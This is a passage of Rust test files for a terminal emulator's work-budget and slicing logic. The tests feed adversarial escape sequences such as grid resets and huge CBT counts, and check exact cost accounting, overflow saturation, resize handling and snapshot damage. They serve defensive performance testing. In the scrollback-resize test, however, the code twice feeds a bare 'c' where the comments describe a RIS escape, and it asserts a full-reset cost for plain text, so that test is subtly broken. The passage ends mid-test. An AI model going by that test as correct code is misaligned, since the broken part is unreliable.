let stats = term.stats();
assert!(stats.sync_aborts > 0, "the fence must have fired");
// Every DECALN fed must be accounted for. The comparison is against the
// *input*, not against the counters' own internal consistency: an
// uncounted flush leaves both counters small together, so checking them
// against each other would pass over the mutant.
// Two bookkeeping callbacks besides the DECALNs: the `ESC[?2026h` that
// opened the update, and the `unset_private_mode` that `stop_sync` emits
// per abort to report the mode off (`vte-0.15.0/src/ansi.rs:353`).
let bookkeeping = 1 + stats.sync_aborts;
assert_eq!(
stats.completed_units,
decalns as u64 + bookkeeping,
"every DECALN must be counted, including the ones released by the \
abort, plus {bookkeeping} mode callbacks",
);
assert_eq!(
stats.completed_work,
decalns as u64 * cells + bookkeeping,
"and their work: {decalns} DECALNs at {cells} cells each",
);
}
/// Cheap traffic is not taxed by slicing: an ordinary screenful retires in
/// one call.
///
/// Kills: a budget so small, or a slice so small, that normal output pays the
/// deferral machinery. This is the companion to the DECALN arm -- a seam that
/// bounds the hold by making everything slow has not fixed anything.
#[test]
fn ordinary_output_needs_no_second_call() {
let mut term = terminal();
let line = b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n";
let screenful = line.repeat(LINES);
assert!(
!term.feed(&screenful),
"a screenful of ordinary output must retire in one call, not defer",
);
assert_eq!(term.pending_bytes(), 0);
assert_eq!(term.stats().tail_breaches, 0);
}
/// The work bound holds on the **first drain of a fresh feeder**, for the
/// densest payload upstream offers.
///
/// Kills: sizing slices from observed density. A learned bound is not a bound
/// on the first slice -- a cold feeder has seen nothing, so it hands the
/// parser a wide slice, and a wide slice of `ESC c` spends many budgets
/// before anything checks. This is the arm that a warm-up-based scheduler
/// passes on the second call and fails on the first, so it asserts on a
/// terminal that has never parsed a byte.
#[test]
fn a_cold_feeder_bounds_its_very_first_slice() {
for (columns, lines) in [(80, 24), (200, 50), (400, 100), (1600, 50)] {
for (label, atom) in [("RIS", &b"\x1bc"[..]), ("DECALN", &b"\x1b#8"[..])] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback: 100,
},
Fences::ALL,
);
// Never fed before: `density`-style state, if any existed, is at
// its initial value.
term.feed(&atom.repeat(5_000));
let spent = term.stats().completed_work;
let ceiling = max_drain_work(columns, lines, 100);
assert!(
spent <= ceiling,
"{label} at {columns}x{lines}: first drain of a cold feeder \
spent {spent} work, over budget+overshoot ({ceiling})",
);
assert!(term.pending_bytes() > 0, "{label}: expected a tail");
}
}
}
/// Exact price of every escape whose cost the grid can amplify.
///
/// One table, exact `completed_work` per escape, at two widths so a weight
/// that dropped its `columns` factor cannot hide. Kills, one row each:
///
/// * `delete_chars`/`insert_blank` charged by `N` -- their cost *falls* as N
/// rises (the swap loop runs `columns - end` times), so N=1 is the worst
/// case and pricing by N is backwards.
/// * `erase_chars` charged raw `N` -- upstream clamps to the row, so
/// `ESC[65535X` on an 80-column grid touches 80 cells, not 65535.
/// * `scroll_up`/`delete_lines` losing their `columns` factor -- the rows are
/// reset, and a row reset is O(columns).
/// * `clear_line`, `decaln`, `clear_screen` mispriced by an axis.
///
/// Exact equality, never a bound: a `<=` assertion passes for every weight
/// smaller than the truth, which is the direction that hurts.
#[test]
fn every_amplifiable_escape_is_priced_exactly() {
for (columns, lines) in [(80usize, 24usize), (400, 50)] {
let cells = (columns * lines) as u64;
let c = columns as u64;
let cases: &[(&str, String, u64)] = &[
("decaln", "\u{1b}#8".into(), cells),
("clear_screen", "\u{1b}[2J".into(), cells),
("clear_line", "\u{1b}[2K".into(), c),
("erase_chars N=1", "\u{1b}[1X".into(), 1),
("erase_chars N=20", "\u{1b}[20X".into(), 20),
("erase_chars N=huge", "\u{1b}[65535X".into(), c),
("delete_chars N=1", "\u{1b}[1P".into(), c),
("delete_chars N=huge", "\u{1b}[65535P".into(), c),
("insert_blank N=1", "\u{1b}[1@".into(), c),
("scroll_up N=1", "\u{1b}[1S".into(), c),
("scroll_up N=5", "\u{1b}[5S".into(), 5 * c),
("scroll_up N=huge", "\u{1b}[65535S".into(), lines as u64 * c),
("scroll_down N=1", "\u{1b}[1T".into(), c),
("scroll_down N=4", "\u{1b}[4T".into(), 4 * c),
(
"scroll_down N=huge",
"\u{1b}[65535T".into(),
lines as u64 * c,
),
("delete_lines N=3", "\u{1b}[3M".into(), 3 * c),
(
"delete_lines N=huge",
"\u{1b}[65535M".into(),
lines as u64 * c,
),
("insert_lines N=1", "\u{1b}[1L".into(), c),
("insert_lines N=6", "\u{1b}[6L".into(), 6 * c),
(
"insert_lines N=huge",
"\u{1b}[65535L".into(),
lines as u64 * c,
),
("put_tab N=1", "\t".into(), c),
("fwd_tabs N=1", "\u{1b}[1I".into(), c),
("fwd_tabs N=huge", "\u{1b}[65535I".into(), c),
("insert_blank N=huge", "\u{1b}[65535@".into(), c),
("clear_line ESC[0K", "\u{1b}[0K".into(), c),
("clear_line ESC[1K", "\u{1b}[1K".into(), c),
("clear_screen ESC[0J", "\u{1b}[0J".into(), cells),
("clear_screen ESC[1J", "\u{1b}[1J".into(), cells),
("sgr", "\u{1b}[m".into(), 1),
("goto", "\u{1b}[1;1H".into(), 1),
];
for (label, seq, expected) in cases {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback: 0,
},
Fences::ALL,
);
// Home first so nothing scrolls, then measure only the escape.
term.feed_fully(b"\x1b[1;1H");
term.reset_stats();
term.feed_fully(seq.as_bytes());
assert_eq!(term.stats().completed_units, 1, "{label}: one callback");
assert_eq!(
term.stats().completed_work,
*expected,
"{label} at {columns}x{lines} priced wrong",
);
}
}
}
/// RIS is priced with its history axis, not just its cells.
///
/// Kills: charging `cells`, or dropping the history term.
///
/// On the alt-screen arm, honestly labelled: the active-`history_size()`
/// mispricing it was written against is **unrepresentable in this design**,
/// not merely untested. `Counting` holds `scrollback` as a scalar copied at
/// construction and has no path to a live grid, so there is no way to write
/// the mutant. The arm is kept as a regression witness -- if a `Term`
/// reference is ever wired into the wrapper it becomes load-bearing the same
/// day -- and both arms are evaluated before either can report, so the
/// primary cannot short-circuit the alt.
#[test]
fn ris_is_priced_for_both_grids_and_the_scrollback_it_walks() {
let (columns, lines) = (80usize, 24usize);
let cells = (columns * lines) as u64;
let mut observed = vec![];
for scrollback in [0usize, 100, 10_000] {
for (label, prefix) in [("primary", ""), ("alt screen", "\u{1b}[?1049h")] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback,
},
Fences::ALL,
);
term.feed_fully(prefix.as_bytes());
term.reset_stats();
term.feed_fully(b"\x1bc");
observed.push((label, scrollback, term.stats().completed_work));
}
}
// One comparison over the whole vector, not a loop of comparisons.
// Collecting first stops an arm from being *skipped*; asserting the
// vectors is what stops a failure from being *truncated* to the first
// mismatch. Otherwise the alt-screen receipt still never prints, which
// was the point of collecting.
let expected: Vec<_> = observed
.iter()
.map(|&(label, scrollback, _)| {
(label, scrollback, 2 * cells + (scrollback * columns) as u64)
})
.collect();
assert_eq!(
observed, expected,
"RIS must be priced on configured depth, identically on both grids",
);
}
/// CBT is charged for exactly the cells it scans -- an equality, in both
/// directions.
///
/// Kills: delegating `move_backward_tabs` verbatim, and deleting the
/// fixed-point break. With tabstops cleared and the cursor at the right
/// margin, upstream never advances the cursor, so its `col == 0` exit is
/// unreachable and all N iterations rescan the row -- `ESC[3g ESC[65535Z` is
/// 8 bytes for 82 ms at 1600 columns.
///
/// Two traps this had to be written around, both of which I walked into
/// first:
///
/// * **The cursor is not the witness.** Deleting the break lands on the same
/// column; only the cost differs. A fixture checking where the cursor ended
/// up passes over the mutant.
/// * **An upper bound is not the witness either.** Deleting the break makes
/// the loop run without charging -- measured `work == 1` for 29 ms of real
/// scanning -- so `spent <= bound` *passes*. Under-charging is exactly the
/// direction that hurts, and only an equality sees it.
///
/// The expected value is the scan the source performs: with no stop below the
/// cursor, one pass over `cursor_column` cells, then a permanent fixed point.
/// Both arms come to `columns` -- the telescoping sum of a walk, or one
/// failed pass -- which is the bound this whole change buys.
#[test]
fn the_worst_atom_is_charged_for_exactly_what_it_scans() {
for columns in [80usize, 400, 1600] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
// Adversarial for cost: every tabstop gone, cursor at the right
// margin, count far past the width.
term.feed_fully(format!("\u{1b}[3g\u{1b}[1;{columns}H").as_bytes());
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(term.stats().completed_units, 1, "one escape, one callback");
assert_eq!(
term.stats().completed_work,
1 + (columns as u64 - 1),
"one failed scan over the whole prefix, then a permanent fixed \
point: the charge is the escape plus that one scan. A loop that \
kept going would charge this much per iteration, 65535 times",
);
// The real guard on the loop: with a stop reachable, the charge must
// equal the distance actually travelled. A break-less loop scans the
// row 65535 times and charges for one crossing.
let (mut walk, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
// Default tabstops every 8: from the right margin a huge count walks
// to column 0, crossing every column on the way.
walk.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
walk.reset_stats();
walk.feed_fully(b"\x1b[65535Z");
assert_eq!(walk.term().grid().cursor.point.column.0, 0);
assert_eq!(
walk.stats().completed_work,
1 + (columns as u64 - 1),
"the charge must be the distance travelled: one unit for the \
escape plus one per column crossed",
);
}
}
/// CBT at column 0 is free, and stays free.
///
/// Kills: removing the `before == 0` guard. Upstream has its own `col == 0`
/// break, so deleting the wrapper's copy is invisible to the cursor and
/// invisible to timing -- it only shows up as work charged for a scan over
/// zero cells that the wrapper attributed to itself. The left margin is also
/// the position both earlier sweeps of this op homed to, which is why it is
/// the position where a defect hides best.
#[test]
fn the_worst_atom_costs_nothing_at_the_left_margin() {
for columns in [80usize, 400] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
term.feed_fully(b"\x1b[3g\x1b[1;1H");
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(
term.stats().completed_work,
1,
"at column 0 there is nothing to the left to scan, so the escape \
costs one unit and no cells",
);
assert_eq!(term.term().grid().cursor.point.column.0, 0);
}
}
/// The other adversary: every tabstop *set*, which maximises the number of
/// delegated single steps rather than the length of one scan.
///
/// Kills: pricing CBT per-step-times-width. Cleared tabstops attack the
/// clamp; all-set attacks the break, forcing `columns - 1` steps of one
/// column each. The two layouts peak in different terms and neither may
/// exceed the bound, so both are here -- a suite that tested only the famous
/// one would miss the shape it chose against.
#[test]
fn the_worst_atom_is_bounded_under_the_layout_that_maximises_steps() {
for columns in [80usize, 400] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 100,
},
Fences::ALL,
);
// A tabstop in every column, then start from the right margin.
term.feed_fully(b"\x1b[3g");
for c in 1..=columns {
term.feed_fully(format!("\u{1b}[1;{c}H\u{1b}H").as_bytes());
}
term.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(term.stats().completed_units, 1);
assert_eq!(
term.stats().completed_work,
1 + (columns as u64 - 1),
"with a stop in every column the walk crosses each of them once, \
so the charge is exact: one unit for the escape plus one per \
column crossed. An inequality here would not catch a 2x \
overcharge -- which lands on 159, not 160, because the escape's \
own unit is charged separately and is not doubled",
);
assert_eq!(
term.term().grid().cursor.point.column.0,
0,
"with a stop in every column the cursor must walk all the way",
);
}
}
/// Stopping CBT early does not change where the cursor lands.
///
/// The companion to the two cost tests above: they assert the work fell,
/// this asserts the behaviour did not move. Kills: stopping at something that
/// is *not* a fixed point -- `min(N, 1)`, or breaking whenever a scan fails
/// even though an earlier step still had stops to find. Cases are the ones
/// the exhaustive probe found interesting: no stops, one stop mid-row, and
/// default stops, each from the right margin with a count past the width.
#[test]
fn stopping_the_worst_atom_early_preserves_its_semantics() {
let columns = 40usize;
let cursor_column = |setup: &str| -> usize {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 3,
scrollback: 0,
},
Fences::ALL,
);
term.feed_fully(setup.as_bytes());
term.term().grid().cursor.point.column.0
};
// No stops: the cursor cannot move, whatever the count.
assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[65535Z"), 39);
assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[40Z"), 39);
// One stop at column 20 (1-based 21): reachable once, then stuck.
let one_stop = "\u{1b}[3g\u{1b}[1;21H\u{1b}H\u{1b}[1;40H";
assert_eq!(
cursor_column(&format!("{one_stop}\u{1b}[65535Z")),
cursor_column(&format!("{one_stop}\u{1b}[40Z")),
);
// Default stops every 8: a large count walks all the way to column 0.
assert_eq!(cursor_column("\u{1b}[1;40H\u{1b}[65535Z"), 0);
}
/// A stream of atoms each worth more than the whole budget still drains, and
/// every drain makes progress.
///
/// The liveness half of the bound. `max_drain_work` says how much one drain
/// may cost; it says nothing about whether the loop terminates, and an
/// oversized atom is exactly where a work-denominated scheduler could refuse
/// to start one -- spending its budget checking, never advancing, and hanging
/// the terminal with a full tail. RIS on a 10k-scrollback grid is ~16x the
/// budget, so this is not hypothetical.
///
/// Kills: any yield that can decline to start work -- a `width` that reaches
/// 0, a `remaining`-scaled slice that underflows to nothing, a guard that
/// skips a slice deemed too expensive for what is left of the budget. Each of
/// those is a plausible thing to reach for when an atom costs more than the
/// whole budget, and each hangs a terminal on legitimate input.
///
/// Note on a mutant it does *not* kill: moving the budget check from after
/// the slice to before it is **equivalent**, not a defect -- `spent` is zero
/// at entry, so the first slice runs either way. Recorded because I wrote
/// this test believing it caught that, ran the mutant, and it lived.
#[test]
fn atoms_larger_than_the_budget_still_make_progress() {
for (columns, lines, scrollback) in [(80usize, 24usize, 10_000usize), (200, 50, 10_000)] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback,
},
Fences::ALL,
);
let atoms = 200usize;
let bound = max_drain_work(columns, lines, scrollback);
assert!(
bound > WORK_BUDGET * 4,
"this arm is only meaningful where one atom dwarfs the budget",
);
let mut more = term.feed(&b"\x1bc".repeat(atoms));
// `feed` already drained once; seed the baseline with its work or the
// first delta measured below silently doubles.
let mut previous = term.stats().completed_work;
let mut worst = previous;
let mut calls = 1;
while more {
let before = term.pending_bytes();
more = term.drain();
assert!(
term.pending_bytes() < before,
"no progress: the tail stuck at {before} bytes",
);
let now = term.stats().completed_work;
worst = worst.max(now - previous);
previous = now;
calls += 1;
assert!(calls < 10_000, "drain did not terminate");
}
assert_eq!(term.stats().completed_units, atoms as u64, "lost units");
assert_eq!(term.pending_bytes(), 0);
assert!(
worst <= bound,
"{columns}x{lines}: worst drain spent {worst}, over the stated \
bound {bound}",
);
}
}
@@ -0,0 +1,399 @@
//! Adversarial slicing cases for resize debt, oversized atoms, and arithmetic extremes.
//!
//! **This is half a suite.** The remaining work-bound cases live in
//! `slicing.rs`; the two files are one set of contracts split only for the
//! file-size ratchet. A mutation check scoped with `--test slicing_adversarial`
//! covers 4 of 76 package tests and can report a confident pass while the
//! killing fixture sits in the sibling file. Sizing from the whole budget does
//! exactly that, then dies under the package.
//!
//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
use buzz_terminal::fences::{
max_atom_work, max_drain_work, slice_bytes_remaining, Fences, WORK_BUDGET,
};
use buzz_terminal::{Size, Terminal};
/// A scrollback change reprices RIS *and* the slicing derived from it.
///
/// Kills: updating the feeder's columns and lines on resize but not its
/// scrollback -- and, separately, a repair that reprices the charge while
/// leaving slice width stale. Those are different failures and neither
/// observable sees the other: fix only the charge and the drain count stays
/// wrong; fix only the derivation and the charge stays wrong.
///
/// Two properties, because one is not enough:
///
/// * The exact RIS charge at the new depth. Direct, and it is what a
/// pricing-only repair passes.
/// * Equality with a terminal *constructed* at the new depth, across work
/// and drain count. A resized feeder that is genuinely repaired is
/// indistinguishable from one that was born there. This is stronger than a
/// hand-picked threshold and immune to `WORK_BUDGET`/`MIN_SLICE` moving,
/// since both arms move together -- and the sanity arm proves the
/// comparison is deterministic before it is used to judge anything.
///
/// `completed_units` is deliberately *not* the discriminator here: it reads
/// 200 in both arms, because the same callbacks run either way and only their
/// cost and slicing differ. It is asserted anyway as the invariant that must
/// hold -- no unit lost or duplicated across a resize -- while carrying none
/// of the discrimination.
#[test]
fn a_scrollback_change_reprices_the_densest_atom_and_the_slicing() {
let shallow = Size {
columns: 200,
screen_lines: 50,
scrollback: 100,
};
let deep = Size {
scrollback: 10_000,
..shallow
};
let cells = (deep.columns * deep.screen_lines) as u64;
// Preconditions, asserted rather than assumed, because both are easy to
// break by "generalising" this fixture later:
//
// * The geometry must let the *scheduling* fields separate. They only do
// when the two depths land on different slice widths, and the deep side
// is always floored -- so the shallow side must not be. At 1600x50 the
// visible grid alone floors every depth from 0 upward, and three of the
// four observables below go silently inert.
// * The payload must be RIS. It is the only escape reaching the only
// weight carrying a scrollback term (`units::reset_state`); DECALN and
// every other atom are priced on cells or columns and are blind to
// depth, so a conforming repair would show work identical to the
// control and the assertions here would invert into false failures.
assert!(
slice_bytes_remaining(
shallow.columns,
shallow.screen_lines,
shallow.scrollback,
0,
0
) > 1,
"geometry cannot discriminate: the shallow arm is already floored",
);
assert_eq!(
slice_bytes_remaining(deep.columns, deep.screen_lines, deep.scrollback, 0, 0),
1,
);
// How a terminal at `size` retires 200 RIS: work, and how many
// acquisitions it took. Both are feeder behaviour, not helper output.
let run = |size: Size, resize_from: Option<Size>| {
let (mut term, _a) = Terminal::new(resize_from.unwrap_or(size), Fences::ALL);
if resize_from.is_some() {
term.resize(size);
}
term.reset_stats();
let mut drains = 1;
let mut more = term.feed(&b"c".repeat(200));
while more {
more = term.drain();
drains += 1;
}
(
term.stats().completed_units,
term.stats().completed_work,
drains,
)
};
let control = run(deep, None);
let sanity = run(deep, None);
assert_eq!(
control, sanity,
"two terminals built the same way must agree before this comparison can judge anything",
);
let resized = run(deep, Some(shallow));
assert_eq!(resized.0, 200, "no unit may be lost or duplicated");
assert_eq!(
resized, control,
"a feeder resized to a depth must be indistinguishable from one constructed at it -- in charge and in how many acquisitions it took",
);
// The exact charge, stated rather than inferred from the equality: a
// repair that made both arms equally *wrong* would pass the comparison.
let (mut term, _a) = Terminal::new(shallow, Fences::ALL);
term.resize(deep);
term.reset_stats();
term.feed_fully(b"c");
assert_eq!(
term.stats().completed_work,
2 * cells + (deep.scrollback * deep.columns) as u64,
);
// Shrinking retains the debt, and the fixture proves retention rather
// than merely permitting it.
//
// `>= fresh` alone is the predicate three of us proposed and all three
// withdrew: a feeder that dropped the debt reads *exactly* equal to a
// fresh shallow one, so `>=` passes on the unrepaired state. Strictness
// on the pricing field is what rejects it. The scheduling fields are
// asserted directionally with per-field signs -- `first_units` inverts,
// because a narrower slice retires fewer atoms per un-preemptable drain,
// which is the fence working -- but none of them is the discriminator:
// they separate only when the two depths straddle the slice floor, and
// `completed_work` separates at every positive depth gap.
//
// Every comparison is against the fresh control's own field, never a
// literal: a constant or geometry change must move both sides together,
// or the fixture starts asserting the arithmetic of the day it was
// written.
let measure = |term: &mut Terminal| {
term.reset_stats();
let mut drains = 1;
let mut more = term.feed(&b"\x1bc".repeat(200));
let first_units = term.stats().completed_units;
let first_pending = term.pending_bytes();
while more {
more = term.drain();
drains += 1;
}
(
first_units,
first_pending,
drains,
term.stats().completed_units,
term.stats().completed_work,
)
};
// The terminal under test stays alive past its measurement, so the
// geometry arm below runs on the feeder that actually shrank rather than
// on a lookalike that only ever grew.
let (mut shrunk_term, _a) = Terminal::new(shallow, Fences::ALL);
shrunk_term.resize(deep);
shrunk_term.resize(shallow);
let shrunk = measure(&mut shrunk_term);
let (mut fresh_term, _a) = Terminal::new(shallow, Fences::ALL);
let fresh = measure(&mut fresh_term);
assert_eq!(
shrunk.3, fresh.3,
"no unit may be lost on the way down either"
);
assert!(
shrunk.4 > fresh.4,
"a feeder that has been deep must still price deep after shrinking: \
{} against a fresh shallow {}. Equality here is the signature of a \
feeder that dropped the debt, which is indistinguishable from one \
that never had it",
shrunk.4,
fresh.4,
);
assert!(
shrunk.0 <= fresh.0,
"narrower slices retire fewer atoms per drain: {} against {}",
shrunk.0,
fresh.0,
);
assert!(
shrunk.1 >= fresh.1,
"and leave more pending after the first call: {} against {}",
shrunk.1,
fresh.1,
);
assert!(
shrunk.2 >= fresh.2,
"and take more drains to finish: {} against {}",
shrunk.2,
fresh.2,
);
// The debt survives a later resize on a different axis. Two things make
// this arm bite, and it was inert without either:
//
// * It runs on the terminal that actually went shallow -> deep ->
// shallow. A lookalike that only ever grew passes it while an
// implementation that retains on shrink and drops on the next geometry
// change fails.
// * The resize carries the *shallow* depth. Passing the debt's own value
// back in means `max(debt, new)` and a plain assignment agree, so the
// arm cannot tell them apart -- which is how it survived a mutant that
// retained only when columns and lines were unchanged.
shrunk_term.resize(Size {
columns: shallow.columns * 2,
screen_lines: shallow.screen_lines,
scrollback: shallow.scrollback,
});
shrunk_term.reset_stats();
shrunk_term.feed_fully(b"\x1bc");
assert_eq!(
shrunk_term.stats().completed_work,
2 * (shallow.columns * 2 * shallow.screen_lines) as u64
+ (deep.scrollback * shallow.columns * 2) as u64,
"a columns resize must keep the deep scrollback debt, not fall back \
to the current shallow depth",
);
}
/// One oversized atom per drain -- no callback runs after the one that
/// crosses the budget.
///
/// Kills: sizing slices from the *whole* budget rather than what remains of
/// it. RIS at any real scrollback depth is worth more than an entire budget,
/// so a slice wide enough for several callbacks runs several: measured
/// `completed_units == 3` for `ESC c` followed by `Xmore`, where the law
/// permits exactly one. The fix makes slice width a function of `remaining`,
/// which is a single byte once an atom this size is in play.
///
/// Also asserts the tail survives it: yielding after the crossing atom is
/// only correct if what follows is still parsed, exactly once.
#[test]
fn an_oversized_atom_yields_before_the_next_callback() {
let size = Size {
columns: 400,
screen_lines: 100,
scrollback: 10_000,
};
let (mut term, _a) = Terminal::new(size, Fences::ALL);
let ris_work =
2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
assert!(
ris_work > WORK_BUDGET,
"this arm needs an atom bigger than the whole budget",
);
let more = term.feed(b"\x1bcXmore");
assert!(more, "the drain must yield with a tail");
assert_eq!(
term.stats().completed_units,
1,
"exactly the crossing atom ran: a callback after it is post-atom \
overrun, which is the thing the budget cannot preempt and therefore \
must not start",
);
assert_eq!(term.stats().completed_work, ris_work);
while term.drain() {}
assert_eq!(
term.stats().completed_units,
1 + 5,
"the five characters after it must still be parsed, exactly once",
);
assert_eq!(term.pending_bytes(), 0);
}
/// Extreme dimensions saturate rather than wrapping or panicking.
///
/// Kills: `columns * lines` in `usize` before the cast. `Size` is unclamped
/// and reaches the weight path from a caller, so this product is a reachable
/// overflow -- a debug panic inside the accounting path, or a release wrap
/// that reports the most expensive callback in the emulator as one of the
/// cheapest. Saturating is the only one of the three that fails safe.
#[test]
fn extreme_dimensions_saturate_instead_of_wrapping() {
let huge = usize::MAX / 2;
assert_eq!(max_atom_work(huge, huge, huge), u64::MAX);
assert_eq!(max_drain_work(huge, huge, huge), u64::MAX);
// The *direction* is the assertion, not merely the absence of a panic.
// A wrapping build does not produce a slightly-wrong bound, it produces a
// tiny one -- and `slice_bytes_remaining` divides the budget by it, so an
// undercharged atom yields an *oversized* slice exactly when the atom is
// most expensive. Wrapping inverts the fence. So: the widest possible
// atom must give the narrowest possible slice.
assert_eq!(
slice_bytes_remaining(huge, huge, huge, 0, 0),
1,
"an overflowing grid must clamp to the smallest slice; a wrapped \
`max_atom_work` would hand back a generous one",
);
assert_eq!(
slice_bytes_remaining(huge, huge, huge, 0, 0),
1,
"and the escape at the front of such a grid gets a single byte",
);
// The property behind those endpoints, and the stronger statement: a
// grid that costs more may never buy a wider slice. Endpoints pin the
// ends; only a sweep catches a non-monotone middle, and a wrap *is* a
// non-monotone middle -- it makes the worst grid look cheap and hands it
// the widest slice of all.
// Every axis independently: a wrap on any one of the three products is a
// non-monotone middle on that axis alone, and sweeping only scrollback
// would miss a truncating `columns * lines`.
for (axis, at) in [
(
"scrollback",
(|n| slice_bytes_remaining(200, 50, n, 0, 0)) as fn(usize) -> usize,
),
("columns", |n| slice_bytes_remaining(n.max(1), 50, 0, 0, 0)),
("lines", |n| slice_bytes_remaining(200, n.max(1), 0, 0, 0)),
] {
let mut previous = usize::MAX;
for exponent in 0..60 {
let width = at(1usize << exponent);
assert!(
width <= previous,
"slice widened from {previous} to {width} at {axis} \
2^{exponent}: more expensive grid, more generous slice",
);
assert!(width >= 1);
previous = width;
}
}
// Just past 32 bits on one axis: large enough that a narrowing cast
// shows (`1 << 32` truncates to 0 in `u32`, pricing an enormous grid at
// nothing), small enough that the honest answer is exact rather than
// saturated. Neither the extreme endpoints above nor the ordinary grids
// below can see this -- the endpoints saturate either way and the
// ordinary ones fit in 32 bits.
assert_eq!(max_atom_work(1 << 32, 1, 0), 2 * (1u64 << 32));
assert_eq!(max_atom_work(1, 1 << 32, 0), 2 * (1u64 << 32));
assert_eq!(max_atom_work(1, 1, 1 << 32), 2 + (1u64 << 32));
// Ordinary grids are untouched by the saturation: exact, not clamped.
assert_eq!(max_atom_work(80, 24, 0), 2 * 80 * 24);
assert_eq!(max_atom_work(80, 24, 100), 2 * 80 * 24 + 100 * 80);
}
/// An escape split across slices keeps its escape metering.
///
/// Kills: deciding "plain run or escape?" by looking only at the bytes ahead.
/// After a slice ending on a lone `ESC`, the next byte is `c` -- which looks
/// like ordinary text and is in fact a full grid reset. Meter it as text and
/// the oversized atom rides into a wide slice with whatever follows, which is
/// the post-atom overrun arriving through a different door. Found by the
/// oversized-atom fixture failing after I "optimised" the plain path, which
/// is the argument for keeping both.
#[test]
fn an_escape_split_across_slices_keeps_its_metering() {
let size = Size {
columns: 400,
screen_lines: 100,
scrollback: 10_000,
};
let ris_work =
2 * (size.columns * size.screen_lines) as u64 + (size.scrollback * size.columns) as u64;
// Deliver the escape one byte at a time, so the parser is left mid-
// sequence with a tail that begins on the continuation byte.
let (mut term, _a) = Terminal::new(size, Fences::ALL);
term.feed(b"\x1b");
assert_eq!(
term.stats().completed_units,
0,
"ESC alone dispatches nothing"
);
let more = term.feed(b"cXmore");
assert!(more, "the completed RIS must still yield with a tail");
assert_eq!(
term.stats().completed_units,
1,
"the continuation byte completed a grid reset; nothing may run after it",
);
assert_eq!(term.stats().completed_work, ris_work);
while term.drain() {}
assert_eq!(term.stats().completed_units, 1 + 5);
assert_eq!(term.pending_bytes(), 0);
}
@@ -0,0 +1,287 @@
//! The attach contract: what a subscriber that arrives mid-stream is given,
//! and what taking it must not cost the subscriber already there.
//!
//! `render()` reports damage -- what changed since someone last looked. That
//! is the right thing for a steady-state renderer and the wrong thing for a
//! newcomer, who needs the screen as it stands. `snapshot()` supplies that,
//! and the delicate part is that it must do so *without* consuming damage:
//! two subscribers share one terminal, and damage is a single shared cursor.
use buzz_terminal::damage::Encoder;
use buzz_terminal::fences::Fences;
use buzz_terminal::{Action, SharedTerminal, Size, Terminal};
use std::sync::mpsc::Receiver;
/// The receiver is returned rather than dropped: dropping it disconnects the
/// channel and every subsequent listener send silently fails.
fn terminal(columns: usize, screen_lines: usize) -> (SharedTerminal, Receiver<Action>) {
let size = Size {
columns,
screen_lines,
scrollback: 100,
};
let (term, actions) = Terminal::new(size, Fences::ALL);
(SharedTerminal::new(term), actions)
}
/// Collect the non-blank text of a frame's rows, for comparing what a
/// subscriber can actually see.
fn visible_text(frame: &buzz_terminal::damage::Frame) -> Vec<String> {
frame
.rows
.iter()
.map(|row| {
row.spans
.iter()
.map(|span| span.text.as_str())
.collect::<String>()
.trim_end()
.to_string()
})
.filter(|line| !line.is_empty())
.collect()
}
/// The reason `snapshot` exists. A subscriber that attaches mid-stream and
/// starts from `render()` is handed only what changes next -- with a quiet
/// terminal that is the cursor's line alone, so the scrollback-visible screen
/// never arrives.
#[test]
fn a_late_render_shows_only_the_next_change_but_a_snapshot_shows_the_screen() {
let (shared, _actions) = terminal(20, 4);
shared.feed_fully(b"first\r\nsecond\r\nthird");
// The incumbent consumes the damage from that output.
let mut incumbent = Encoder::new();
let seen = visible_text(&shared.render(&mut incumbent));
assert_eq!(seen, vec!["first", "second", "third"]);
// A newcomer rendering now sees essentially nothing: damage is spent.
let mut latecomer = Encoder::new();
let by_render = visible_text(&shared.render(&mut latecomer));
assert!(
!by_render.contains(&"first".to_string()),
"a late render cannot show scrollback it never saw damaged, got {by_render:?}"
);
// The same newcomer snapshotting sees the whole viewport.
let mut attaching = Encoder::new();
let by_snapshot = shared.snapshot(&mut attaching);
assert_eq!(
visible_text(&by_snapshot),
vec!["first", "second", "third"],
"a snapshot must carry the visible viewport"
);
assert!(by_snapshot.full, "a snapshot is a repaint");
}
/// **The law: `snapshot()` must not consume damage.**
///
/// Two subscribers share one terminal and damage is one shared cursor, so a
/// snapshot taken for an attaching subscriber must leave the incumbent's
/// pending rows intact. A naive implementation that calls `damage()` passes a
/// full-frame test while freezing every other subscriber -- the newcomer looks
/// perfect and the incumbent silently stops updating.
///
/// The interleaving is the point: write, snapshot, *then* let the incumbent
/// render. But the interleaving alone is not enough to discriminate, and the
/// reason is this module's own rule 2 -- `Term::damage()` marks the cursor
/// line on every call. So an incumbent owed only the line it is sitting on
/// gets that line back even when its damage was stolen, and a naive snapshot
/// passes.
///
/// The owed row therefore has to be somewhere the cursor is *not*. Here row 0
/// is rewritten and the cursor is parked on row 3, so a theft leaves the
/// incumbent holding a blank cursor line and nothing else.
#[test]
fn a_snapshot_does_not_steal_the_incumbents_damage() {
let (shared, _actions) = terminal(20, 4);
// An established renderer, caught up to a quiet terminal. The initial
// content is shorter than its replacement so the rewrite below covers it
// completely and no tail of it survives.
let mut incumbent = Encoder::new();
